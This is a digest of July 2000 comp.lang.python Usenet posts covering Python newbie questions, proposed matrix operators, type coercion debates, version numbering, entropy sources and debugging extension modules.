On Sat, 15 Jul 2000 13:54:28 GMT, John Grayson <johngrayson at home.com> wrote:
>
>It just happens that one of the sample chapters for Python
>and Tkinter Programming is on geometry managers. It might
>help you understand how the Packer works...
>
>    http://www.manning.com/Grayson/chapt05.pdf
>

I highly recommend John's book for somebody new to Tk.  It's a
well-written book, the examples are complete enough to be
useful, and the editting job is first-rate: there are very few
mistakes (especailly for a first edition).

--
Grant Edwards                   grante             Yow!  HAIR TONICS, please!!
                                  at
                               visi.com


From JoeSmith at bogusaddress.com  Mon Jul 17 20:43:18 2000
From: JoeSmith at bogusaddress.com (Joe Smith)
Date: Tue, 18 Jul 2000 00:43:18 GMT
Subject: NT4 shortcuts and import
References: <8koe6q$avh$1@nnrp1.deja.com> <39709fdc@news.server.worldonline.co.uk>
Message-ID: <3973A8E8.D937B406@bogusaddress.com>

I really was disappointed that NT did not have symbolic links.  I find them very
usefull.  I hear that win 2000 has something called junction points that might
be similar.

Phil Harris wrote:

> You can't do that in NT.
>
> Shortcuts are not the same as links in *nix.
>
> Shortcuts are really, next to useless.
>
> Even most microsoft products don't know what to do with them, try using a
> shortcut to a folder in any standard ms product and it will fail in the same
> way.
>
> Phil
>
> Andy Freeman <anamax at earthlink.net> wrote in message
> news:8koe6q$avh$1 at nnrp1.deja.com...
> > I'd like to use a shortcut named, say, "src", from the current
> > directory to a directory somewhere else and then use "import src.foo".
> > The problem is that NT4 thinks that the shortcut is named "src"
> > but Python thinks that the shortcut is named "src.lnk".  Note that
> > I can't use "import src.lnk.foo" because the first "." is interpreted
> > as a directory name separator, not a part of the "src.lnk" module
> > name.
> >
> > (1) How do I get Python to use "src" as the module name?
> > (2) How do I escape "." in variable names?
> >
> > I'm using Python 1.5.
> >
> > thanks,
> > -andy
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.



From paul at prescod.net  Wed Jul 19 12:06:32 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 11:06:32 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
				<3973415D.5262CD86@eecis.udel.edu> <3hitu4wiq9.fsf@angband.org> <3975C0FA.3A45B105@eecis.udel.edu>
Message-ID: <3975D208.2E297375@prescod.net>

Charles Boncelet wrote:
> 
> ...
>
> On my soapbox: As you say, Python "isn't even close to the most popular
> tool for its problem domain".  And yet, the Python community refuses to
> sully the language by adding things that might make it more popular (not
> just more operators for numerical work, but stackless for palm pilots,
> +=, ++, support for reloadable operators, typechecking, list
> comprehensions, more elaborate iterators, to name a few.)  There might
> be arguments against each of these, but taken together it indicates an
> unwillingness to change.  Python is perfect as is, and we certainly
> don't need to adopt the methods of the unwashed.

Python 2 will likely have += and list comprehensions. Typechecking is
scheduled for addition once the details are worked out.

If Python did not grow slowly and conservatively, I dare say that
neither you nor I would be using it today. It would be just another
overgrown language that caters to everyone's preferences.

Your paragraph implies that Python would be more popular if it attempted
to adopt everything that is in popular languages. I think that that is a
simplistic view of language evolution.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From bjorn at roguewave.com.bbs  Mon Jul 17 12:20:02 2000
From: bjorn at roguewave.com.bbs (bjorn at roguewave.com.bbs)
Date: 17 Jul 2000 16:20:02 GMT
Subject: Global & Importing issues.... Newbie
Message-ID: <3bRI14$kzx@openbazaar.net>

Try

  import __main__

in mod2. Or even better implement the common data in a separate module,
perhaps even as a class?

-- bjorn

Toby wrote:
>
> I have a simple requirement for a second module to access a global variable
> stored in the first (main) module.
>
> I can reproduce my problem with the following 2 modules...
>
> Mod1.PY >>>
> import Mod2
>
> myGlobal = None
>
> if __name__ == "__main__":
>
>   myGlobal = 100
>
>   Mod2.DoPrint()
> #endif
> #endmodule
>
> Mod2.PY >>>
> import Mod1
>
> def DoPrint():
>   print Mod1.myGlobal
> #enddef
> #endmodule
>
> When executing Mod1.PY I expect the answer 100 to be printed out, I get None
>
> I also get the same problem if there is a function in Mod1 which prints the
> value of myGlobal and is called from Mod2 - I think this is the same
> problem.
>
> :o(
>
> Any help from Python experts ?
>
> TIA Toby
>
> --
> http://www.python.org/mailman/listinfo/python-list


From gregory.lielens at fft.be  Fri Jul 14 05:31:55 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Fri, 14 Jul 2000 11:31:55 +0200
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com>
Message-ID: <396EDE0B.5F9075B6@fft.be>

John Lull wrote:
> 
> At the dawn of the third millenium (by the common reckoning),
> hzhu at localhost.localdomain (Huaiyu Zhu) wrote (with possible
> deletions):
> 
> > I think cleanness is one of the main virtue of python, but it is lacking in
> > numerical computation.  To give an example of the difference it makes, I'll
> > quote from my original post asking for matrix in python (with corrections)
> >
> > [in octave we write]
> > > b = X\y                  # LMS solution of a linear equation y = X*b
> > > b = (X'*X)\(X'*y)        # or written out in more details
> > > b = inv(X'*X)*(X'*y)     # or in a less efficient form.
> > >
> > > but the corresponding Python notation is horrendous:
> > >
> > > b = matrixmultiply(inverse(matrixmultiply(transpose(X), X)),
> > >     (matrixmultiply(transpose(X), y[:,NewAxis])))
> 
> I'm don't think this is quite fair.  You could just as easily write:
>     b = rDiv(X, y)
> if you simply had an appropriate rDiv() function.  It's not nearly as
> pretty as octave's notation, but it doesn't have to be nearly as
> hideous as your example.

Indeed, but it is the old choice between functional/operator notation...
For example, the second expression, b = (X'*X)\(X'*y), would be in
functional notation 
something like b=rDiv(Mul(X.T(),X),Mul(X.T(),y))
This is ok, but imho far more error prone than operator notation,
because 
- all linear algebra textbooks present expressions with operator
notation
- the operator notation is more natural to almost everybody when dealing
with arithmetic

I personnaly consider that linear algebra is an extension of simple
arithmetic, almost on the same level as complex numbers (and usefull to
the same kind of people which could use complex numbers). 
The fact that complex numbers are part of built-in python types and can
be manipulated using standard arithmetic operators plead for a similar
facility for linear algebra, imho. 

But contrary to complex numbers, easy manipulation of matrices ideally
require more than the usual +,-,*,/, because of the lack of
commutativity (therefore the introduction of left and right divide) and
the usefullness of both elementwise and matrix operations.

Should something a "elementwise" complex multiplication
c=a*b=Complex(Real(a)*Real(b),Imag(a)*Imag(b))  (*)
have any usage, maybe the initial design of python would have included
two multiplication operators...


Greg.



(*) Please, never implement this horror!!!


From matt at null.net  Sun Jul  9 19:46:55 2000
From: matt at null.net (Matthew Schinckel)
Date: Mon, 10 Jul 2000 09:16:55 +0930
Subject: Parsing lists
In-Reply-To: <UQU95.68799$HK2.1203440@news20.bellglobal.com>
References: <UQU95.68799$HK2.1203440@news20.bellglobal.com>
Message-ID: <Pine.BOS.4.10.10007100913490.341-100000@be>

On Jul 9, I overheard Seamus Venasse mutter:

> >>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
> >>> for title, url in list:
> ...     print title, url
> ...
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ValueError: unpack sequence of wrong size

You are trying to force each list item to be a 2-tuple

Try one of two methods:

list = [('title1','url1'), ('title2','url2'), ('title3','url3')]
for title,url in list:
    print title
    print url

or better:

dict = {'title1':'url1','title2':'url2','title3':'url3'}
for title in dict.keys():
    print title
    print dict[title]

-- 
Matthew Schinckel     <matt at null.net>

Expert, n.:
	Someone who comes from out of town and shows slides.



From scarblac-spamtrap at pino.selwerd.nl  Mon Jul 17 11:58:58 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 17 Jul 2000 15:58:58 GMT
Subject: converting tcl database file to python
References: <3970F455.58A6CAD3@uniserve.com> <3971004C.93FEC29F@wam.umd.edu> <3971211C.A2F151FD@uniserve.com>
Message-ID: <slrn8n6b87.bnf.scarblac-spamtrap@flits104-37.flits.rug.nl>

Bob van der Poel wrote in comp.lang.python:
> Bob Schmertz wrote:
> > Did you consider a CdItem class?
> 
> No. I've looked at them but the one thing  that bothered me is that
> after defining a class (aka structure) one is free to add variables a
> will.

But the same is true for dictionaries and lists anyway... Why do you think
it will be a problem? Are you going to add harmful things (like what?) in
your sleep? ;-)

Imo, if you have a problem defining a structure and it's more complex than a
simple list or dictionary, it's time to write a class.

> Yes. started a bit this PM. I think that what I'll do is write a
> conversion in tcl and end up with a very-verbose datafile format. With
> PentiumIIs who cares about a few extra cycles of overhead parsing a
> file. I've just gotta get into the 21th century.

Or let the program write its output as Python style expressions, so you can
eval them again like the Tcl did :-)


-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
  5:57pm  up 133 days,  6:07,  6 users,  load average: 0.53, 0.33, 0.13


From fig at oreilly.com  Fri Jul 14 19:26:08 2000
From: fig at oreilly.com (Stephen R. Figgins)
Date: Fri, 14 Jul 2000 23:26:08 GMT
Subject: OSCON dinner?  (Thurs 7/20)
References: <8kncs1$j2f$1@slb7.atl.mindspring.net>
Message-ID: <396FA1CC.A11398F5@oreilly.com>

I would love to do dinner, but was planning on heading back Thursday
evening.  Unless someone wishes to give me a ride back to Sebastopol, CA
Thursday night, I won't be able to make it. 

Stephen Figgins
fig at oreilly.com


From aahz at netcom.com  Tue Jul 25 08:33:18 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 25 Jul 2000 12:33:18 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net> <IKff5.11748$4p3.89549@news-server.bigpond.net.au>
Message-ID: <8lk1ee$71q$1@slb6.atl.mindspring.net>

In article <IKff5.11748$4p3.89549 at news-server.bigpond.net.au>,
Neil Hodgson <neilh at scintilla.org> wrote:
>
>   Your version numbering is a little out of date - 1.6 will be released in
>the near future with some quite useful Unicode support, then 2.0 with some
>unnecessary features soon after that. 2.0 is called 2.0 to help with
>marketing although the sweet spot with version number marketing is 3.11 so
>some more unnecessary features will be required soon :-)

Your version numbers are also a little bit out of date.  1.6 has been
renamed to 2.0 with the departure of the core Python team from CNRI to
BeOpen.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From zsoltman at my-deja.com  Mon Jul 10 23:34:43 2000
From: zsoltman at my-deja.com (zsoltman at my-deja.com)
Date: Tue, 11 Jul 2000 03:34:43 GMT
Subject: Compiling Python
References: <Fera5.15213$6y5.13256073@news2.rdc2.tx.home.com>
Message-ID: <8ke4ki$pet$1@nnrp1.deja.com>

In article <Fera5.15213$6y5.13256073 at news2.rdc2.tx.home.com>,
  "David L. Heald Jr." <blinocac1 at home.com> wrote:
> Does anyone know if there is a compiler available anywhere for python
for
> win32?
>
>
I'm guessing http://www.python.org/download/download_win31.html would
do the trick


Sent via Deja.com http://www.deja.com/
Before you buy.


From peter at wl.vg  Wed Jul  5 08:32:59 2000
From: peter at wl.vg (Peter Halliday)
Date: Wed, 05 Jul 2000 08:32:59 -0400
Subject: Redhat and mod_python
Message-ID: <39632AFB.8BB36365@wl.vg>

I am trying to get mod_python working with Apache's rpm's.  I really
don't want to have to compile Apache separately.  Has anyone got
mod_python working under Redhat while keeping the Apache rpms.  Thank
you.  And please if possible could you email your response to my email
above (peter at whetstonelogic.com).  Thanks.


-- 
Peter Halliday
Online Application Developer
Whetstone Logic, Inc.       http://www.whetstonelogic.com
icq#75769411           AIM screen name: hoaggelos




From pj at sgi.com  Sat Jul 29 00:10:25 2000
From: pj at sgi.com (Paul Jackson)
Date: 29 Jul 2000 04:10:25 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <8ltlfh$ae55f$1@fido.engr.sgi.com>

Steve wrote:
|> what of 1 + "1"?  That isn't senseless, those are two numbers.
|> I can see they are two numbers, it is only because of typing
|> that it fails.  

No.  1 + "1" is a pointer to the nul following the
ascii '1' in the  nul-terminated string "1". <grin>

pretending-to-be-a-pure-C-programmer'ly-yours ...

-- 
-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From gparlor at my-deja.com  Mon Jul 24 23:51:42 2000
From: gparlor at my-deja.com (gparlor at my-deja.com)
Date: Tue, 25 Jul 2000 03:51:42 GMT
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com> <8l1org$a94$1@nntp9.atl.mindspring.net>
Message-ID: <8lj2sd$qqf$1@nnrp1.deja.com>

In article <8l1org$a94
$1 at nntp9.atl.mindspring.net>,
  aahz at netcom.com (Aahz Maruch) wrote:
> In article
<MPG.13dd4ec32cbe48e98982a at news.onlynews.com>,
> Randall Parker  <rgparker at west.net> wrote:
> >
> >I'm quite new to Python. For those who are
familiar with Java interfaces:
> >Does Python have a similar facility?
> >
> >Can one declare interfaces, then declare that
a class implements some
> >interface, instantiate an object of that class
type, and then cast it to
> >an interface that it is declared to support
and then pass it around as a
> >reference to that interface type and make
calls to methods of that
> >interface type?
>
> Let me expand on Justin's post:
>
> Interfaces are *everything* in Python; you use
inheritance only when you
> want to borrow behavior from an existing
class.  If I create a base
> class called MyFileType and implemented all the
standard methods and
> attributes, Python would literally not notice
that I was using a brand
> new class as a file object.  All the standard
Python operations would
> just work.  No casting, no subclassing.
> --
>                       --- Aahz (Copyright 2000
by aahz at netcom.com)
>
> Androgynous poly kinky vanilla queer het
<*>     http://www.rahul.net/aahz/
> Hugs and backrubs -- I break Rule 6
>
> Q:  In a lesbian relationship, who decides who
gets to be the man?
> A:  It's two women.  There is no man.  That's
the point.
> Q: then who gets blamed when everything goes to
hell?



Sent via Deja.com http://www.deja.com/
Before you buy.


From weeks at golden.dtc.hp.com  Wed Jul 26 11:51:16 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 26 Jul 2000 15:51:16 GMT
Subject: conatraints on "for" magic?
References: <8llqso$q75$1@news.dtc.hp.com> <8lm2k202c2i@news1.newsguy.com>
Message-ID: <8ln1dk$59e$1@news.dtc.hp.com>

Alex Martelli (alex at magenta.com) wrote:
: I believe you are correct in noticing that nowhere is it
: clarified that this is the specific method used by the for statement,
: and that IndexError is the way __getitem__ tells the for statement
: that the sequence is finished

Well, thank *you* for the clarification.

It is interesting to note that if I were to define a sequence type that was
index-one-based, the for loop would consider it empty.

Regards,
Greg


From see at below  Sun Jul 30 22:27:24 2000
From: see at below (Paul Foley)
Date: 31 Jul 2000 14:27:24 +1200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8m25dm$ila$1@newshost.accu.uu.nl> <slrn8o9iuj.i9b.grey@teleute.rpglink.com>
Message-ID: <m2em4brq43.fsf@mycroft.actrix.gen.nz>

On Mon, 31 Jul 2000 00:46:17 GMT, Steve Lamb wrote:

> On 30 Jul 2000 21:07:02 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:

>> Ahum, the latter isn't really possible in Python. Your integer wil never
>> ever be converted to a noninteger. 

>     Yes it will.  int(), str(), etc, etc, etc...  I never said the language
> converted it, I just said it was converted and Python certainly does that.

To me, at least, "convert" gives the impression that the value is
being changed into something else.  That never actually happens.
int(), str(), etc., don't change anything, they just make a new object
somehow based on the old.

>> 1 isn't mutable into anything at all either, by the way. Neither are
>> strings. The name 'b' can however be made to point to something else.
>> That is an entirely different thing though, and from the way you're
>> speaking I'm not entirely clear whether you understand this yet.

>     OK, to be strict.  None can't be converted, neither can 1.  For some

Neither can anything else, in the sense that "converted" means
"changed".  Certainly None or 1 or anything else can be "converted" in
the same way that int(x) "converts" strings into an integers.  E.g.,

  def convert(x):
      return x or 42

now convert(None) "converts" None into 42, proving once and for all
that "None can be converted".  Are you claiming there's somehow a
difference between my convert() function above and the builtin int()
function?

> reason, however, b, which was pointing to 1 can be made to point to something
> else which we'll call the integer formerly known as 1 where as None things
> cannot be repointed from.  None is like that really nasy uncle everone has who

Nonsense.

  b = 1
  b = "foo"

now b is the string "foo".

  b = None

and now b is None, but type

  b = "foo"

and what do you know, b is "foo" again, contrary to your claim that
"None things cannot be repointed from".

[I don't think I have a nasy uncle...maybe a nosy neighbor...]

-- 
Nomina stultorum in parietibus et portis semper videmus.      -- Cicero

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From mhaselup at clicktomarket.com  Wed Jul 12 18:19:57 2000
From: mhaselup at clicktomarket.com (Mark Haselup)
Date: Wed, 12 Jul 2000 15:19:57 -0700
Subject: Application testing
Message-ID: <8ktcnr$q69$1@bob.news.rcn.net>

I need to carry out some testing of a cgi application from a Browser client.
I have been informed that I can use Python (or some of it's extensions) to
capture and replay the http traffic between the Browser and the Webserver to
simulate a user session. Unfortunately I've not been able to find any
information on this usage in the books I've looked at so far. I am also
interested in any other applications free or otherwise which would allow me
to do this.

I would like to be able to capture the traffic and edit it to allow modified
replays of sessions. Can anbody help with this? Should I be looking at other
news groups for these features?

Thanks.




From moshez at math.huji.ac.il  Wed Jul 26 01:03:14 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 26 Jul 2000 08:03:14 +0300 (IDT)
Subject: Reading a file
In-Reply-To: <m2g0oy80y9.fsf@pnorthover.freeserve.co.uk>
Message-ID: <Pine.GSO.4.10.10007260802560.1472-100000@sundial>

On 25 Jul 2000, Tim Northover wrote:

> I'm attempting to read a file line by line with readline(), but it
> seems to return and empty string when EOF is encountered. Is there a
> way of discerning the difference between the end of the file and a
> blank line in the file?

Yes. A blank line is '\n', not ''

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From paul at prescod.net.bbs  Mon Jul 17 01:10:02 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 05:10:02 GMT
Subject: Type checking in python?
Message-ID: <3bR0RQ$iTr@openbazaar.net>

Matthew Cline wrote:
>
> ...
>
> Is there any plans on doing this for Python 3000?  Or will something
> like this never be a part of Python?

There is a whole special interest group with dozens of members set up to
discuss this issue. Nevertheless, its more complicated than you can
imagine and progress is slow.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From lull at acm.org  Thu Jul 13 22:33:03 2000
From: lull at acm.org (John Lull)
Date: 13 Jul 2000 21:33:03 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com>
Message-ID: <72usms41js8gtqdeemi0l7qo7dfe0t02rm@4ax.com>

At the dawn of the third millenium (by the common reckoning), Bjorn
Pettersen <bjorn at roguewave.com> wrote (with possible deletions):

> It seems like you're trying to create a special purpose language here.
> Ie. I don't see it as general enough to be worth putting into the core
> unless you can come up with other use cases... Personally, I would much
> prefer the ability to overload the relational operators (individually,
> not through __cmp__).

I'd like to disagree here.  Matrices & linear algebra are fundamental
tools in an extremely broad set of domains.  Unfortunately, most
programming languages don't seem to recognize that.

Providing appropriate operators in the core is, IMO, as appropriate as
providing complex numbers.  Providing an easy way to effectively add
them to the core when you install an appropriate add-on package is a
reasonable alternative.  Their absence leads to really hard-to-read
code, and to me is a significant downside to Python.

Regards,
John


From akuchlin at mems-exchange.org  Wed Jul  5 10:34:19 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 05 Jul 2000 10:34:19 -0400
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se> <8jqjf8$s1t$1@nnrp1.deja.com> <39615d75.142572338@news> <8jtcid$4um$1@nntp9.atl.mindspring.net>
Message-ID: <3dhfa4lk7o.fsf@kronos.cnri.reston.va.us>

"Andrew Dalke" <dalke at acm.org> writes:
> What I saw, though, was a compile time option to use /dev/random if
> it exists.  I would have thought that would be enabled by default, but
> it made some comment about how the read will block if there isn't enough
> entropy in the source pool.  Is this ever a problem in real life?

Yes, because the entropy pool is only 4096 bits, and entropy is added
fairly slowly, since an interrupt or other event only adds a few bits
of entropy.  A different device, /dev/urandom, never blocks, so you
can read enough data to theoretically compute the initial state of the
pool.  For generating a long-term thing like an RSA key, this would
matter (or least be psychologically unsettling); for an IV, I think
/dev/urandom would be fine.

--amk


From neilh at scintilla.org  Tue Jul 11 00:30:28 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 11 Jul 2000 04:30:28 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com>
Message-ID: <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au>

   Now that Microsoft have revealed their Intermediate Language (IL) virtual
machine, are we going to see a version of Python that compiles directly to
IL? Or will Python byte codes still be interpreted by C code?

   Neil




From scarblac-spamtrap at pino.selwerd.nl  Tue Jul 25 07:30:24 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 25 Jul 2000 11:30:24 GMT
Subject: SIMPLE QUESTION
References: <397D77D1.A331770A@sicon.net>
Message-ID: <slrn8nquh5.1ec.scarblac-spamtrap@flits104-37.flits.rug.nl>

sergio wrote in comp.lang.python:
>  Hi all
>     I''ve imported a dll into a .py file, but when i try to use a
> function i get the error
> 
> Traceback (innermost last):
>   File "<interactive input>", line 0, in ?
> TypeError: unbound method must be called with class instance 1st
> argument
> 
> 
> The question is , how can i get the "class instance", or maybe i have to
> pass a string with the name of the class on the first argument.
> 
>   Thanks in advance for all your responses

You are calling a method directly on a class, instead of making an instance
of the class, and calling the method on that.

Ie,
class Example:
   def test():
      pass
	  
Now 
Example.test()
gives your error, and
e = Example()
e.test()
works.

Can't say more without more info about what you're doing.


-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
  Murphy's Rules, "Atomic TNT?":
   In Aftermath (FGU), a one-ton charge of high explosive will kill
   nearly every living thing in 300 square kilometers.


From ramb at synopsys.com  Mon Jul 31 11:33:25 2000
From: ramb at synopsys.com (ramb at synopsys.com)
Date: 31 Jul 2000 08:33:25 -0700
Subject: looking for python object debugging hints
Message-ID: <87og3es4ai.fsf@oak.gitaram.com>

I've written some code to implement a new python object and I'm having
some trouble with it. My code to implement the new object is written
both in C and in Python. 

Here is the situation:

A python script imports my module and then starts calling
various functions in my C shared library. The problem is
that if I use gdb on the python binary my shared library
is not loaded until the script starts running and that
is too late to set a break point. What I want is some way
to make it easy to use a debugger to debug my dynamically
loaded shared library.

Here are some of the ideas I have:

  1. Build a statically linked Python executable and completely
     avoid the whole problem.

  2. Modify my shared library so that once it is loaded into the 
     python process the shared library will cause the python process
     to stop until the debugger attachs to the python process.

  3. Invoke the debugger (as a separate process) from the shared library
     that is loaded into the python process.

  4. Use sleep or some other method to slow down the execution of the
     shared library.

I know how to do 1 and I'm pretty sure I could do 3 via some combination
of system() calls. What I really want is option 2. But I'm not sure how
to do that. Option 4 would also be easy, but it strikes me as ugly, and I'd
rather use a solution that has atleast some amount of elegance to it.

Does anyone know how (under unix) to make a process stop and wait until
a debugger attaches to the process?

Alternatively if you have another way to solve this problem it would
be great to hear about it.

Thanks for any ideas.
-Ram


From bill at dehora.fsnet.co.uk  Fri Jul 28 19:07:55 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Sat, 29 Jul 2000 00:07:55 +0100
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com>
Message-ID: <8lt3pn$bgg$4@newsg4.svr.pol.co.uk>

> Most, not all.  Again, I ask, as a /human/.  Not as a computer,
> calculator, dog, fish, pet rock, face on mars, some gas creature in
> delta-theta 3 (word up, gass monster) or almond, is 1 a character a string
an
> integer a floating point number or what?

What would you like it to be? Types formally came about to avoid such
confusions. What's the big deal about typing?




From aek at aek.dk  Sun Jul 16 16:39:10 2000
From: aek at aek.dk (Anders Eggers-Krag)
Date: Sun, 16 Jul 2000 22:39:10 +0200
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com> <o8kc5.203$rg.9815@news101.telia.com> <A1lc5.87653$W35.2011983@news20.bellglobal.com> <kIlc5.219$rg.11710@news101.telia.com> <Ouoc5.89081$W35.2036480@news20.bellglobal.com>
Message-ID: <43pc5.394$uj.2466@news101.telia.com>

> > It is a typical god side of an MS product, total integration with total
> > benfit, a pitty thought that the interface is less good than Borland's...
> 
> I can't say I have used anything of Borland since BC 4.5, I think.  I have
> seen cool features in some GUI builders and IDEs that aren't in VB6, so I
> have an idea of what you are talking about.  "Boa Constructor"
>  http://boa-constructor.sourceforge.net/ ), an IDE for Python seems to make
> a good effort to implement features typical of recent technologies, although
> it is still in "Pre-Alpha" but very promising.
ill take a look at it, although my guess is that I will stick with Ultra Edit until
I get around to making my own editor


> > Another solution is to be really smart and figure the flow of the
> > program and determine when a variable is first used and color that
> > color1 and the next time it is used it is colored color2...
> 
> I think this [figure the flow of the program] is what VC6 attemps to do with
> C/C++ code (and that's a pretty expensive calculation) and it's a pity the
> compiler will [most likely] just end up re-doing the work when you hit
> "Build", as opposed to something totally integrated like VB...
Agreed VB has an advantage there


> > > Where the variables are declared in the form of a comment that starts
> with
> > > the letters "var" which, I think, is how JavaScript declares variables,
> > > isn't it?
> > it is said the man who knew the language inside out :-)
> 
> I'm sorry, I don't follow...

I was just showing off :-)
saying yes var is the way you do it, when you do it in JavaScript/JScript,
and at the same time saying that I know JScript inside out


> > > So, by having a line at the beginning of a function (right after
> > > the description line, which I hope I didn't screw up) indicating the
> names
> > > of the variables we intend to use, any name that isn't in that list and
> > > isn't in anything we imported would be highlighted as a mistake, and if
> only
> > > the case differs, the editor would make the case match the
> declaration...
> > The only problem is that it turns Python ugly...
> 
> Does it?  Wouldn't it help whoever was reading your code to better
> understand where the scope of the variables are, and what you intend to do?
> I'm reminded of assembler, where it is good practice to comment which
> registers you will be "destroying" and which you will be using.  It saves
> someone from looking at each line of code to figure it out....
It may make it a bit easier to see such things, but in general you should
make everything clear through propper naming...
It puts some extra information in a not too beautiful way, a lot like C++ does
in the millions of hearder files etc. Python is intendet to be a language where you don't
have to know a lot of syntactical extras...


> > I know it is a problem, I will however try to enforce it in our
> > concern, and one might design a devoloping tool that enforced a
> > naming convention, that could be dfined by the user.
> 
> ...or a variable declaration convention defined by the user???  : )   You
> wouldn't HAVE to use the "# var", maybe you're like me and you come from a
> VB background and you'd rather use "# dim"?
well personally I am a C/C++/Java/JScript/Python person, and I don't mind so much
whether it be dim, var, whatever, but I mind having to feed my editor additional 
information...


> > Once you get used to it it really isn't much of a worry
> 
> I realized today my version of PythonWin (125) wasn't recommended as being
> the one to use for auto-completion and other nice features, so maybe it
> already does everything I want it to and my whole rant is moot??  I didn't
> think PythonWin was as nice as SciTe, in terms of syntax highlighting, so I
> switched, but now that I look at PythonWin 132, I'm impressed!  Maybe I *do*
> have everything I want.
yes the 125 wasn't much fun - I haven't looked at 132 yet, I have been busy developing
a major online consumer database in ASP/Jscript, I actually considdered using Python
but I couldn't figure out how to set the values Session and Application Objects...


> > there is only one thing in this world that makes me wonder: why are all
> > the beautiful languages run time parsed? (i here think primarily on
> > Python and Java)
> 
> Only ONE thing?  Wow.  You must know the answer to life, the universe and
> everything, then?  And the question, too?  If it were up to me, this
> language would have been called "42"...
aye one thing only - and of course I know the question, isn't that what we earthlings 
are here for? ;-)

ok there is one more neglegible thing that I wonder about wommen :-)


-- 
Anders Eggers - Krag



From hzhu at localhost.localdomain.bbs  Mon Jul 17 20:40:02 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 18 Jul 2000 00:40:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRV24$jbb@openbazaar.net>

On Mon, 17 Jul 2000 18:11:13 -0500, Paul Prescod <paul at prescod.net> wrote:

>  There are even techniques for making your
>language work on the interpreter line. We can help with that.

